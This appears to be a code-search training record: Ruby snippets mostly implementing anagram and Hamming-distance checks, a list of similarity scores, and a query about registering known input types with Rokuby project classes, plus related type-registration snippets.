"def hamming_distance(first_word, second_word)\n if first_word.length == second_word.length\n first_word = first_word.split('')\n second_word = second_word.split('')\n distance = 0\n first_word.each_with_index do |a, i|\n if a != second_word[i]\n distance += 1\n end\n end\n distance\n else\n nil\n end\nend",
"def anagram_difference(w1, w2)\n #..\n tester = nil\n other = nil\n count = 0\n if w1.length > w2.length \n tester = w2\n other = w1\n else\n tester = w1\n other = w2\n end\n\n tester_arr = tester.split('')\n other_arr = other.split('')\n\n tester_arr.each do |i|\n if other_arr.include?(i)\n other_arr.delete_at(other_arr.index(i))\n count += 1\n end\n end\n test_count = tester.length - count \n other_count = other.length - count \n\n test_count + other_count\nend",
"def second_anagram(word1, word2)\n return false unless word1.length == word2.length\n word1_arr = word1.split(\"\")\n characters = word2.chars\n\n word1_arr.each do |letter1|\n idx = characters.find_index(letter1)\n characters.delete_at(idx) unless idx.nil?\n\n end\n characters.empty?\nend",
"def fourth_anagram(first_word, second_word)\n hash1 = Hash.new {|h, k| h[k] = []}\n first_word.each_char do |char|\n hash1[char] << char\n end\n second_word.each_char do |char|\n hash1[char] << char\n end\n hash1.values.all? {|ele| ele.length.even?}\nend",
"def anagram(s)\n firstSubString=s[0...s.length/2]\n secondSubString=s[s.length/2..s.length].split('')\n \n \n if s.length.odd?\n return -1\n else \n firstSubString.each_char do |char1|\n secondSubString.each_with_index do |char2,ids|\n if char1==char2\n secondSubString.delete_at(ids)\n break\n end\n end\n end\n return secondSubString.length \n end\nend",
"def second_anagram?(word1, word2)\n word1.each_char do |char|\n index = word2.index(char)\n word2.slice!(index)\n end\n\n if word2.empty?\n true\n else\n false\n end\n\nend",
"def sec_anagram?(word1, word2)\n let_1 = word1.split(\"\")\n let_2 = word2.split(\"\")\n let_1.each do |letter|\n if let_2.include?(letter)\n index = let_2.index(letter)\n let_2.delete_at(index)\n else\n return false\n end\n end\n \n let_2.empty?\n\nend",
"def second_anagram?(word_1, word_2) #O(n^2)\n matching_word = word_2.split(\"\")\n\n word_1.each_char do |ele|\n if matching_word.index(ele) #evaluating the conditional\n matching_word.delete_at(matching_word.index(ele)) #n many times, do this\n end\n end\n\n matching_word.empty? #constant O(1)\nend",
"def second_anagram?(word1, word2)\n word2_arr = word2.chars\n\n word1.chars.each_with_index do |char, idx|\n remove_idx = word2_arr.index(char)\n word2_arr.delete_at(remove_idx) if remove_idx\n end \n p word2_arr.empty? \nend",
"def words_1_letter_diff(word)\n\treturn words_of_same_length(word).find_all {|w| compare_words(word, \tw) == 1}\nend",
"def third_anagram?(first_word, second_word)\n first_word.chars.sort == second_word.chars.sort\nend",
"def third_anagram?(word1, word2)\n split1= word1.chars.sort\n split2 = word2.chars.sort\n split1 == split2\nend",
"def third_anagram?(word_1, word_2)\n word_1.chars.sort == word_2.chars.sort\nend",
"def second_anagram?(word1, word2)\n second_word = word2.split(\"\")\n word1.each_char do |char|\n second_word.delete_at(second_word.find_index(char)) if second_word.include?(char)\n end\n second_word == []\n\nend",
"def second_anagram?(word1, word2)\n a, b = word1.split(''), word2.split('')\n \n a.each do |char|\n i = b.find_index(char)\n return false if !i\n b.delete_at(i)\n end\n \n b.length == 0\n \nend",
"def second_anagram?(word1, word2) # O(n^2)\n word1.each_char do |char|\n unless word2.chars.index(char) == nil \n word2.delete!(char)\n end\n end\n return word2 == \"\"\nend",
"def third_anagram?(first_word, second_word)\n first_word = first_word.chars.sort\n second_word = second_word.chars.sort\n\n first_word == second_word\nend",
"def third_anagram?(word1, word2)\n word1_chars = word1.split(\"\").sort\n word2_chars = word2.split(\"\").sort\n word1_chars == word2_chars\n\nend",
"def fifth_anagram?(first_word, second_word)\n word_count = Hash.new(0)\n first_word.chars.each { |char| word_count[char] += 1 }\n second_word.chars.each { |char| word_count[char] -= 1 }\n\n word_count.all? {|_, val| val == 0}\nend",
"def third_anagram?(word_1, word_2) #O(nlogn)\n word_1.split(\"\").sort == word_2.split(\"\").sort #.sort is O(n logn), linearithmic\n\n # sorted_word_1 = word_1.split(\"\").sort #could have all been split into diff lines that's why we don't assume it's a nested .split * .sort\n # sorted_word_2 = word_2.split(\"\").sort\n\n # sorted_word_1 == sorted_word_2\nend",
"def second_anagram?(word1, word2)\n split1, split2 = word1.chars, word2.chars\n\n idx = 0\n while idx < split1.length\n split2.each_with_index do |el2, idx2|\n if el2 == split1[idx]\n split1.delete_at(idx)\n split2.delete_at(idx2)\n idx = -1\n break\n end\n end\n idx += 1\n end\n return false unless split1.empty? && split2.empty?\n true\nend",
"def anagram string\n mid = string.size/2 -1\n s1 = string.slice(0..mid).chars\n s2 = string.slice(mid+1..-1).chars\n freq = Hash.new(0)\n count = 0\n\n s1.each{ |key| freq[key]+=1 }\n\n s2.each do |letter|\n freq[letter] > 0 ? freq[letter] -=1 : count +=1\n end\n\n string.size.even? ? count : -1\nend",
"def second_anagram?(word1, word2)\n w1_copy = word1.dup\n w2_copy = word2.dup\n w1_copy.each_char do |ch1|\n w2_copy.each_char do |ch2|\n if ch1 == ch2\n w1_copy[w1_copy.index(ch1)] = \"\"\n w2_copy[w2_copy.index(ch2)] = \"\"\n end\n end\n end\n w1_copy.empty? && w2_copy.empty?\nend",
"def make_anagram word1, word2\n s1 = word1.chars\n s2 = word2.chars\n\n count = 0\n\n # s1.each do |x|\n # if s2.include? x\n # count +=1\n # end\n # end \n # ana = (word1.size - count)*2\n\n freq = Hash.new(0)\n s1.each do |key|\n freq.store(key, freq[key]+1)\n end\n freq\n\n s2.each do |x|\n if freq[x] != nil\n freq[x] -= 1\n end\n end\n\n freq\n\n freq.each do |key,value|\n if value != 0\n count += value.abs\n end\n end\n\n count\n\nend",
"def third_anagram?(word, goal)\n word = word.split('') # O(n)\n goal = goal.split('') # O(n)\n # O(n^2) + O(n^2) || O(n log(n)) + O(n log(n))\n word.sort == goal.sort\nend",
"def third_anagram?(word1, word2)\n word1.split(\"\").sort == word2.split(\"\").sort\nend",
"def third_anagram?(word1, word2)\n word1.chars.sort == word2.chars.sort #sort is quicksort under the hood so O(n^2) worst case, average case O(n log n)\nend",
"def second_anagram?(first_word, second_word)\n (0...first_word.length).each do |idx1|\n letter_to_check = first_word[idx1]\n (0...second_word.length).each do |idx2|\n if second_word[idx2] == letter_to_check\n second_word.delete!(second_word[idx2])\n first_word.delete!(first_word[idx1])\n end\n end\n end\n return first_word == second_word\nend",
"def second_anagram?(word1, word2)\n return true if (word1.empty?) && (word2.empty?)\n return false if ((word1.empty?) && (!word2.empty?)) || ((!word1.empty?) && (word2.empty?)) \n letter_1 = word1[0]\n letter_1_idx = word2.index(letter_1) \n\n return false if (letter_1_idx.nil?)\n word1 = word1.delete(letter_1)\n word2 = word2.delete(word2[letter_1_idx])\n second_anagram?(word1, word2)\n\nend",
"def fourth_anagram2?(word1, word2)\n hash = Hash.new { |h, k| h[k] = 0 }\n word1.chars.each do |char|\n hash[char] += 1\n end\n word2.chars.each do |char|\n hash[char] -= 1\n end\n hash.keys.all? { |v| v == 0 }\nend",
"def second_anagram?(word1, word2)\n return false if word1.length != word2.length\n word1.chars.each do |char1|\n word2.chars.each do |char2|\n if char1 == char2\n word1 = delete_char(word1, char1)\n word2 = delete_char(word2, char1)\n end\n end\n end\n\n word1.empty? && word2.empty?\nend",
"def bonus_ana(word1, word2)\n hash = Hash.new(0)\n\n word1.each_char { |char| hash[char] += 1 }\n word2.each_char { |char| hash[char] -= 1 }\n\n hash.values.all? { |count| count == 0 }\nend",
"def word_worth(word)\n word.chars.sum { |char| char.ord - 'A'.ord + 1 }\nend",
"def fourth_anagram?(word1, word2)\n letters = Hash.new(0)\n word1.each_char do |char|\n letters[char] += 1\n end\n word2.each_char do |char2|\n letters[char2] -= 1\n end\n letters.all? {|k,v| v ==0}\nend",
"def word_unscrambler(arr, word)\n \n # get a helper function anangram or not\n \n # fileter out diff lengths\n same_length = arr.select{|dict_word| dict_word.length == word.length}\n \n matches = same_length.select{|string| anagram?(string, word)}\n \n matches\n \n #filter out non anagram words\n \n #\n\nend",
"def check_anagrams(first_words, second_words)\n first_words.each_with_index do |word, index|\n if word.split('').sort == second_words[index].split('').sort\n puts true\n else\n puts false\n end\n end\nend",
"def anagrams?(word1, word2)\n if word1.length != word2.length\n return false\n end\n word1.each_char do |ele|\n if !word2.include?(ele)\n return false\n end\n end\n return true\nend",
"def second_anagram?(word1, word2)\n word2_arr = word2.split(\"\")\n word1.each_char do |char|\n idx = word2_arr.find_index(char)\n return false if idx.nil?\n word2_arr.delete_at(idx)\n end\n return true if word2_arr.empty?\nend",
"def third_anagram?(word1, word2)\n a, b = word1.split(''), word2.split('')\n\n a.sort == b.sort\nend",
"def anagram(word)\n anagrams_array = %w(enlists google inlets banana)\n search = word.split('')\n search.sort!\n anagrams_array.each do |wordanna|\n new_word = wordanna.split('')\n new_word.sort!\n if search == new_word\n puts wordanna\n end\n end\nend",
"def second_anagram?(word1, word2)\n p \"Running second_anagram?...\" \n\n start = Time.now\n word2 = word2.split(\"\") #O(n)\n word1.each_char do |char| #O(n)\n char_index = word2.index(char) #O(n)\n if char_index.nil? #O(1)\n return false #O(1)\n else\n word2.delete_at(char_index) #O(1)\n end\n end\n word2.empty? #O(1)\n p \"Took #{Time.now - start} seconds\"\nend",
"def fifth_anagram?(first_word, second_word)\n hash = Hash.new(0)\n first_word.each_char do |char|\n hash[char] += 1\n end\n\n second_word.each_char do |char|\n hash[char] -= 1\n end\n hash.values.all? {|value| value == 0}\nend",
"def second_anagram(str1, str2)\n str1_copy = str1.dup.chars\n str2_copy = str2.dup.chars\n str1.chars.each_with_index do |el, x|\n\n if str2_copy.include?(el)\n index1 = str1_copy.index(el)\n index2 = str2_copy.index(el)\n str1_copy.delete_at(index1)\n str2_copy.delete_at(index2)\n end\n end\n str1_copy.empty? && str2_copy.empty?\nend",
"def theLoveLetterMystery(s)\n chars = s.chars\n size = chars.length\n sum = 0\n ((size+1)/2..(size -1)).each do |i|\n num = chars[i].ord\n target_num = chars[size-1-i].ord\n sum += (num - target_num).abs\n end\n sum\nend",
"def anagram_distance(word1, word2)\n if word1.length != word2.length\n return -1;\n end\n\n hash = {};\n\n word1.each_char do |ch|\n hash[ch] = hash[ch].nil? ? 1 : hash[ch]+1\n end\n\n word2.each_char do |ch|\n if !hash[ch].nil? && hash[ch] > 0\n hash[ch] -=1\n end\n end\n\n hash.values.sum\nend",
"def third_anagram?(word1, word2)\n first = word1.chars.sort.join(\"\")\n second = word2.chars.sort.join(\"\")\n\n p first == second \nend",
"def fourth_anagram?(word1, word2)\n letter_count = Hash.new { |hash, key| hash[key] = [] }\n\n split1= word1.chars\n split2 = word2.chars\n\n split1.each { |el| letter_count[el] << el }\n split2.each do |el2|\n if letter_count[el2].length > 0\n letter_count[el2].pop\n else\n return false\n end\n end\n\n return false if letter_count.any? { |key, value| value.count > 0 }\n true\n\nend",
"def score_word(a, b)\n count = 0\n a.split('').each_index do |i|\n if a[i] == b[i]\n count += (a.length - i)\n end\n end\n return count\n end",
"def anagram?(first_word, second_word)\n until first_word.length == 0\n comparing_letter = first_word[0]\n first_word.delete!(first_word[0])\n second_word.each_char do |char|\n if char == comparing_letter\n second_word.delete!(char)\n break\n end\n end\n end\n\n second_word.length == 0 ? true : false\n\nend",
"def fourth_anagram?(word1, word2) # O(3n) aka O(n)\n hash = Hash.new(0)\n\n word1.each_char { |char| hash[char] += 1 }\n word2.each_char { |char| hash[char] -= 1 }\n\n return hash.values.all?(&:zero?)\nend",
"def fourth_anagram?(first_word, second_word)\n first_hash = Hash.new(0)\n second_hash = Hash.new(0)\n\n first_word.chars.each { |char| first_hash[char] += 1 }\n second_word.chars.each { |char| second_hash[char] += 1 }\n\n first_hash == second_hash\nend",
"def third_anagram?(str1,str2)\n str1.split(\"\").sort == str2.split(\"\").sort # nlogn\nend",
"def third_anagram?(word1, word2)\n\n word1_arr = word1.split(\"\")\n word2_arr = word2.split(\"\")\n\n word1_arr.sort == word2_arr.sort\n\nend",
"def fourth_anagramb?(word1, word2)\n hash1 = Hash.new { |h, k| h[k] = 0}\n\n word1.each_char do |char|\n hash1[char] += 1\n end\n\n word2.each_char do |char|\n hash1[char] -= 1\n end\n\n hash1.each_value { |v| return false if v != 0}\n true\nend",
"def first_anagram(word1, word2) #the worst \r\n word1.chars.permutation.to_a.any? { |sub| sub.join == word2 } \r\nend",
"def third_anagram?(str, word)\n str.chars.sort == word.chars.sort\n end",
"def anagrams(str1, str2)\n \nend",
"def anagrams_better(string1, string2)\n string2 = string2.chars\n return false if string1.length != string2.length\n string1.chars.each do |ch|\n idx = string2.index(ch)\n unless idx.nil?\n string2.delete_at(idx)\n end\n end\n return true if string2.empty?\n false\nend",
"def second_anagram?(str1, str2)\n string_2 = str2.split(\"\")\n str1.each_char do |let| \n if string_2.find_index(let) != nil \n string_2_index = string_2.find_index(let)\n string_2.delete_at(string_2_index)\n end \n end \n string_2.empty? \nend",
"def second_anagram(str1, str2)\n str1_chars = str1.chars #n\n #+\n str2_chars = str2.chars #n\n#+\n str1_chars.each do |char| #n\n #*\n idx = str2_chars.find_index(char) #n\n #+\n return false if idx == nil #constant\n #+\n str2_chars.delete_at(idx) #n\n\n end #n(n+1+n) => 2n^2 + n\n\n\n\n str2_chars.empty? ? true : false\n\n end",
"def second_anagram?(str_1,str_2)\n str_1.each_char do |c|\n index = str_2.split(\"\").find_index(c)\n str_2 = str_2[0...index] + str_2[index + 1..-1] unless index.nil?\n end\n str_2.empty?\nend",
"def third_anagram(first, second)\n first.split(\"\").sort == second.split(\"\").sort\nend",
"def second_anagram(str1, str2)\n str1 = str1.chars\n str2 = str2.chars\n\n str1.size.times do\n char = str1[0]\n s2_i = str2.index(char)\n if s2_i\n str1.delete_at(0)\n str2.delete_at(s2_i)\n end\n\n end\n\n str1.empty? && str2.empty?\nend",
"def second_anagram?(str1, str2)\n str1.each_char do |char|\n # str2.each_char.with_index do |char2, i|\n str2.slice!(str2.index(char)) if str2.include?(char)\n end\n\n return str2.empty?\nend",
"def fourth_anagram?(first_word, second_word)\n first_hash = Hash.new(0)\n second_hash = Hash.new(0)\n first_word.each_char do |char|\n first_hash[char] += 1\n end\n second_word.each_char do |char|\n second_hash[char] += 1\n end\n first_hash == second_hash\nend",
"def anagrams\n word.anagram.words.pluck(:text) - [word.text]\n end",
"def second_anagram?(str_1, str_2)\n words = str_2.chars\n str.each_char.with_index do |char, i|\nend\n\n# def first_anagram?(str_1, str_2)\n# hash_1 = Hash.new(0)\n# hash_2 = Hash.new(0)\n\n# str_1.each_char { |char| hash_1[char] += 1}\n# str_2.each_char { |char| hash_2[char] += 1}\n\n# hash_1 == hash_2\n# end\n\n# p first_anagram?(\"gizmo\", \"sally\") #=> false\n# p first_anagram?(\"elvis\", \"lives\") #=> true",
"def char_check(word_1, word_2, template_length)\n matches = [] # array for containing matching characters from word_2 ('char')\n $iterator = 0\n # Character loop\n word_1.each do |char_1|\n sample = char_1\n word_2.each do |char_2|\n if (sample == char_2)\n matches.push(char_2)\n word_2.delete_at($iterator)\n $iterator += 1\n else\n $iterator += 1\n end\n end\n end\n # Check that the number of matches implies an anagram\n matches.length == template_length ? true : false\nend",
"def first_anagrams_2(str_1, str_2)\n string_1 = str_1.split('')\n string_2 = str_2.split('')\n\n return false if str_1.length != str_2.length\n\n string_1.each do |char|\n idx = string_2.find_index(char)\n if idx == nil\n return false\n else\n string_2.delete_at(idx)\n end\n end\n\n return true if string_2.empty?\nend",
"def anagram(a,b)\n\ta = a.split('')\n\tb = b.split('')\n\n\ta_length = a.length-1\n\n\tmatch = []\n\tnon_match = 0\n\n\twhile a_length >= 0\n\t\tb.map do |i|\n\t\t\tif i == a[a_length]\n\t\t\t\tmatch << i\n\n\t\t\telse\n\t\t\t\tnext\n\t\t\tend\n\t\tend\n\t\ta_length -= 1\n\tend\n\n\tp match\n\tnon_match = (a.length - match.length).abs + (b.length - match.length).abs\n\n\tputs non_match\n\t\nend",
"def second_anagram?(str1, str2) #n*m \n str1 = str1.split(\"\") #n\n str2 = str2.split(\"\") #m\n str1.each do |char| #n\n loc = str2.find_index(char) #m ... n*m\n if loc.nil? \n return false \n else\n str2.delete_at(loc) #m\n end \n end \n return true if str2.empty? \nend",
"def second_anagram?(str1,str2)\n s_ary = str2.chars\n str1.each_char do |char|\n chr_idx = s_ary.find_index(char)\n s_ary.delete_at(chr_idx) unless chr_idx.nil?\n end\n s_ary.empty?\nend",
"def second_anagram?(str1, str2)\n str1.chars.each do |el|\n if str2.include?(el)\n str1 = str1.sub(el, \"\")\n str2 = str2.sub(el, \"\")\n end\n end\n\n str1.empty? && str2.empty?\nend",
"def second_anagram?(string1,string2)\n string1.each_char.with_index do |char, i|\n idx = string2.index(char)\n if idx != nil \n string2 = string2[0...idx] + string2[idx+1..-1]\n end\n end\n string2.length == 0\n\nend",
"def anagram(s)\n if s.length.even?\n substring1 = s[0..s.length/2 - 1].split('')\n substring2 = s[s.length/2..s.length-1].split('')\n i = 0\n while i <= substring1.length\n if substring2.index(substring1[i])\n char = substring1[i]\n substring1.delete_at(i)\n substring2.delete_at(substring2.index(char))\n else\n i += 1\n end\n end\n return substring1.count\n else\n return -1\n end\nend",
"def third_anagram?(word1, word2)\n\n p \"Running third_anagram...\" \n\n start = Time.now\n\n var = word1.split(\"\").sort == word2.split(\"\").sort\n\n puts \"Took #{Time.now - start} seconds - Result: #{var}\"\n\n # return var\nend",
"def hamming(string1, string2)\n different_letter = 0\n i = 0\n while i < string1.length\n if string1[i] != string2[i]\n different_letter += 1\n end\n i += 1\n end\n \n return different_letter\nend",
"def compare_words(first_word, second_word)\n\tif first_word.length != second_word.length\n\t\treturn -1\n\tend\n\n\tcount = 0\n\t\t\n\t(0..first_word.length - 1).each do |i|\n\tif first_word[i] != second_word[i]\n\t\tcount = count + 1\n\tend\n\tend\n\n\treturn count\nend",
"def third_anagram(str1, str2)\n str1.chars.sort == str2.chars.sort\nend",
"def anagram?(phrase_one, phrase_two)\n phrase_one.split('').sort == phrase_two.split('').sort\n end",
"def adjacent_words(word)\n one_letter_off = []\n (word.length - 1).times do |i|\n dup_word = word.dup\n dup_word[i] = \".\"\n one_letter_off += @dictionary.select {|word| word =~ (/\\A#{dup_word}\\z/) }\n end\n one_letter_off\n end",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def second_anagram?(str1, str2) # O(n^2)\n str2_chars = str2.chars \n str1.chars.each do |char| \n idx = str2_chars.find_index(char) \n if !idx.nil?\n str2_chars.delete_at(idx) \n end\n end\n str2_chars.empty?\nend",
"def fourth_anagram(word1, word2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n word1.each_char { |char| hash1[char] += 1 }\n word2.each_char { |char| hash2[char] += 1 }\n\n hash1 == hash2\nend",
"def second_anagram?(string1, string2)\n arr = string2.chars\n string1.each_char do |char| # n \n result = arr.index(char) # n\n arr.delete_at(result) unless result.nil? \n \n end\n arr.empty? \nend",
"def rule1(str = @word)\n newstr = str.chars\n newstr.each_index do |index|\n if newstr[index-1].eql?newstr[index+1]\n newstr[index]=newstr[index-1] unless newstr[index].eql?(\" \") || newstr[index-1].eql?(\" \") || newstr[index+1].eql?(\" \")\n end\n end\n newstr.join('').to_s.squeeze(\" \")\n end",
"def hamming_dna(dna_1, dna_2)\n hamming = 0;\n dna_1.split(\"\").each_with_index do |v, i|\n dna_2.split(\"\")[i] != v ? hamming += 1 : hamming = hamming\n end\n hamming\nend",
"def first_anagram?(word1, word2)\n anagrams = []\n arr = word1.chars \n\n arr.permutation.each do |subArr|\n anagrams << subArr.join(\"\")\n end \n p anagram?(anagrams, word2) \nend",
"def second_anagram?(str1,str2) #n^2\n \n str1.split('').each do |c1|\n str2.split('').each do |c2|\n if c1 == c2 \n str1.delete!(c1)\n str2.delete!(c2)\n end \n end \n end \n str1.empty? && str2.empty?\nend",
"def is_anagram?(word)\n#try determining if they are composed of the same letters.\n word.chars.sort == @word.chars.sort\n end",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def fourth_anagramv2?(str1, str2)\n hash_1 = Hash.new(0)\n\n str1.chars.each { |char| hash_1[char] += 1 }\n str2.chars.each { |char| hash_1[char] -= 1 }\n\n hash_1.values.all?{ |count| count == 0}\nend",
"def anagrams(word, words)\n words.select { |w| w.chars.sort == word.chars.sort }\nend",
"def make_anagram a, b\n s1 = a.chars\n s2 = b.chars\n freq = Hash.new 0\n count = 0\n\n s1.each{ |key| freq[key]+=1 }\n\n s2.each{ |letter| freq[letter]-=1 }\n\n freq.each{ |k,v| count += v.abs }\n puts count\nend",
"def hamming_distance str1, str2\n result = 0\n \n str1.split('').each_index do |i|\n result += 1 if str1[i] != str2[i]\n end\n\n p result\nend",
"def isAnagram(test, original)\n str1 = test.split(\"\").map{ |x| x.ord}.inject(:+)\n str2 = original.split(\"\").map{ |x| x.ord}.inject(:+)\n str1 == str2\nend"
] |
[
"0.7132473",
"0.7126409",
"0.70953304",
"0.7094452",
"0.70440483",
"0.7004377",
"0.6986297",
"0.6976105",
"0.6944199",
"0.6922921",
"0.692022",
"0.6911876",
"0.6889321",
"0.68606746",
"0.6853448",
"0.6844758",
"0.68446684",
"0.68432665",
"0.6838505",
"0.6834373",
"0.68224996",
"0.6819463",
"0.6815927",
"0.681464",
"0.6811764",
"0.6804152",
"0.6799111",
"0.6769883",
"0.6768919",
"0.6761247",
"0.6731224",
"0.6724059",
"0.67128205",
"0.67005724",
"0.6698731",
"0.66942286",
"0.6688701",
"0.6687307",
"0.66761553",
"0.66741794",
"0.6670378",
"0.6669329",
"0.66650176",
"0.6641051",
"0.6640169",
"0.66358685",
"0.66321194",
"0.6617975",
"0.66063076",
"0.6598981",
"0.6595007",
"0.6589273",
"0.6588214",
"0.6587979",
"0.6584367",
"0.6578245",
"0.6573169",
"0.65645254",
"0.65602624",
"0.656005",
"0.6542714",
"0.6535599",
"0.65286034",
"0.65045124",
"0.650267",
"0.650075",
"0.6497238",
"0.64925987",
"0.6488045",
"0.64880073",
"0.6486944",
"0.6484751",
"0.64798594",
"0.6463027",
"0.6455519",
"0.6454998",
"0.6450666",
"0.6440666",
"0.64380044",
"0.6437267",
"0.6435045",
"0.64343387",
"0.6430286",
"0.6430286",
"0.6430286",
"0.64291596",
"0.6425804",
"0.6418261",
"0.6406088",
"0.64044607",
"0.6400378",
"0.6392877",
"0.6392557",
"0.6391528",
"0.6391528",
"0.6389652",
"0.6381599",
"0.6380078",
"0.6375761",
"0.6375267"
] |
0.71271855
|
1
|
Register the known input types for such a processor.
|
def _RegisterInputTypes
@knownInputClasses.push(Rokuby::ProjectDescription)
@knownInputClasses.push(Rokuby::ProjectConfiguration)
@knownInputClasses.push(Rokuby::ProjectInstance)
@knownInputClasses.push(Rokuby::VsProjectDescription)
@knownInputClasses.push(Rokuby::VsProjectConfiguration)
@knownInputClasses.push(Rokuby::VsProjectInstance)
@knownInputClasses.push(Rokuby::VsProject)
@knownInputClasses.push(Rokuby::VsProjectUsage)
@knownInputClasses.push(Rokuby::PassthroughDefines)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _RegisterInputTypes\n @knownInputClasses.push(Rokuby::ProjectDescription)\n @knownInputClasses.push(Rokuby::ProjectConfiguration)\n @knownInputClasses.push(Rokuby::ProjectInstance)\n @knownInputClasses.push(Rokuby::GppProjectDescription)\n @knownInputClasses.push(Rokuby::GppProjectConfiguration)\n @knownInputClasses.push(Rokuby::GppProject)\n @knownInputClasses.push(Rokuby::PassthroughDefines)\n end",
"def _RegisterInputTypes\n @knownInputClasses.push(Rokuby::VsSolutionDescription)\n @knownInputClasses.push(Rokuby::VsProject)\n end",
"def register type, cls\n @@processors[type] = cls\n end",
"def get_input_types(env, receiver)\n inputs.map{|input| get_type(env, input, receiver)}\n end",
"def registered_types\n end",
"def processes(*types)\n types.each do |type|\n raise 'processor already registered for type %s'%type if @@processor_registry[type]\n @@processor_registry[type] = self\n end\n\n @allowed_command_types ||= []\n @allowed_command_types.concat types\n end",
"def register( type )\n @types ||= Array.new\n @types << type\n end",
"def register_spec_type(*args, &block); end",
"def register(type_converter)\n types.push type_converter\n end",
"def register(name, type)\n registry[name] = type\n end",
"def register_types(api, session)\n info(\"registering msgpack ext types\")\n api.types.each do |type, info|\n klass = Neovim.const_get(type)\n id = info.fetch(\"id\")\n\n @unpacker.register_type(id) do |data|\n klass.new(MessagePack.unpack(data), session)\n end\n end\n end",
"def add(*types)\n types.each do |mime_type|\n if mime_type.kind_of? MIME::Types\n add(*mime_type.defined_types)\n else\n if @type_variants.include?(mime_type.simplified)\n if @type_variants[mime_type.simplified].include?(mime_type)\n warn \"Type #{mime_type} already registered as a variant of #{mime_type.simplified}.\" unless defined? MIME::Types::STARTUP\n end\n end\n add_type_variant(mime_type)\n index_extensions(mime_type)\n end\n end\n end",
"def register(type, cls); end",
"def boot_types\n @types = {}\n type_names.each do |name , ivars |\n @types[name] = type_for( name , ivars)\n end\n type_type = @types[:Type]\n @types.each do |name , type |\n type.set_type(type_type)\n end\n end",
"def register\n @workflow_type_options.delete_if {|workflow_type_options| workflow_type_options[:version].nil?}\n @workflow_type_options.each do |workflow_type_options|\n begin\n @service.register_workflow_type(workflow_type_options)\n rescue AWS::SimpleWorkflow::Errors::TypeAlreadyExistsFault => e\n @logger.warn \"#{e.class} while trying to register workflow #{e.message} with options #{workflow_type_options}\"\n # Purposefully eaten up, the alternative is to check first, and who\n # wants to do two trips when one will do?\n end\n end\n end",
"def input_type; end",
"def register_processor(pattern, klass, replace_all: T.unsafe(nil)); end",
"def register!\n self.rdf_content_types = []\n RDF::Format.each do |format|\n register_renderer(format.file_extension, format.content_type, format.symbols.first)\n end\n\n register_renderer(%i[hndjson], ['application/hex+x-ndjson'], :hndjson)\n register_renderer(%i[empjson], ['application/empathy+json'], :empjson)\n rdf_content_types.freeze\n end",
"def register_parser_type(type, parser_klass, extensions = T.unsafe(nil)); end",
"def included(base)\n base.register self, TYPES\n end",
"def inherited(base)\n super\n base.register_type\n end",
"def register_processor(*args, &block)\n register_preprocessor(*args, &block)\n end",
"def register_all(*including_sub_type, access_tokens: {})\n register(*@@to_register[\"\"])\n including_sub_type.each do |sub_type|\n register(*@@to_register[sub_type.to_s])\n end\n set_access_tokens(access_tokens)\n end",
"def register_type(key, &block)\n raise_type_defined(key) if present?(key)\n types[key] = block\n end",
"def register_type_mapping(runtime_type, puppet_type_or_pattern, _ = nil)\n TypeAsserter.assert_assignable('First argument of type mapping', PRuntimeType::RUBY, runtime_type)\n expr = runtime_type.name_or_pattern\n if expr.is_a?(Array)\n TypeAsserter.assert_instance_of('Second argument of type mapping', TYPE_REGEXP_SUBST, puppet_type_or_pattern)\n register_implementation_regexp(puppet_type_or_pattern, expr)\n else\n TypeAsserter.assert_instance_of('Second argument of type mapping', PTypeType::DEFAULT, puppet_type_or_pattern)\n register_implementation(puppet_type_or_pattern, expr)\n end\n end",
"def register(*args)\n registry.register(*args)\n end",
"def finisher_input(*keys)\n # Registers each signal as finisher port\n keys.each do |key|\n # Ensure the key is a symbol.\n key = key.to_sym\n # Register it with the corresponding signal.\n name = HDLRuby.uniq_name # The name of the signal is uniq.\n @finisher_inputs[name] = send(key)\n end\n end",
"def registers; end",
"def add(*types)\n __types__.add(*types)\n end",
"def needed_types\n self.scan unless @needed_types\n @needed_types\n end",
"def register_preprocessor(mime_type, klass, &block)\n mutate_hash_config(:preprocessors, mime_type) do |processors|\n processors.push(wrap_processor(klass, block))\n processors\n end\n end",
"def register\n @typeperf = TypeperfWrapper.new(PerfmonProcGetter.new, @interval)\n @counters.each { |counter| @typeperf.add_counter(counter) }\n end",
"def add(*types)\n @__types__.add(*types)\n end",
"def register_preprocessor(mime_type, klass, &block)\n expire_index!\n\n if block_given?\n name = klass.to_s\n klass = Class.new(Processor) do\n @name = name\n @processor = block\n end\n end\n\n @preprocessors[mime_type].push(klass)\n end",
"def register(byte, type)\n MAPPINGS[byte] = type\n end",
"def register_type(*args)\n if types_list.respond_to?(:add)\n types_list.add self, *args\n else\n types_list << self\n end\n if types_tracker_base.respond_to?(:scope) &&\n !types_tracker_base.respond_to?(model_name.element)\n type_name = name\n types_tracker_base.scope model_name.element, -> { where(type: type_name) }\n end\n end",
"def registry\n YARD::Registry.load(@input, true)\n end",
"def create_processor_for_type(parameter_name, parameter_type, parameter_required)\n attributes_processors = create_attributes_processors_for_type(parameter_type)\n Sinatra::SwaggerExposer::Processing::SwaggerTypeValueProcessor.new(\n parameter_name,\n parameter_required,\n attributes_processors\n )\n end",
"def types(types); end",
"def register(klass)\n raise TypeError, \"Can only register classes\" unless klass.is_a? Class\n raise ArgumentError, \"To register, a class must have TYPE defined\" unless klass.const_defined? :TYPE\n registered[klass::TYPE] = klass\n end",
"def register(klass, type)\n registry[type] = klass\n end",
"def add_input_ports(*names)\n create_port(:input, *names)\n end",
"def handle(*types); end",
"def register(type_name, klass = nil, **options, &block)\n registry.register(type_name, klass, **options, &block)\n end",
"def runner_input(*keys)\n # Registers each signal as run port\n keys.each do |key|\n # Ensure the key is a symbol.\n key = key.to_sym\n # Register it with the corresponding signal.\n name = HDLRuby.uniq_name # The name of the signal is uniq.\n @runner_inputs[name] = send(key)\n end\n end",
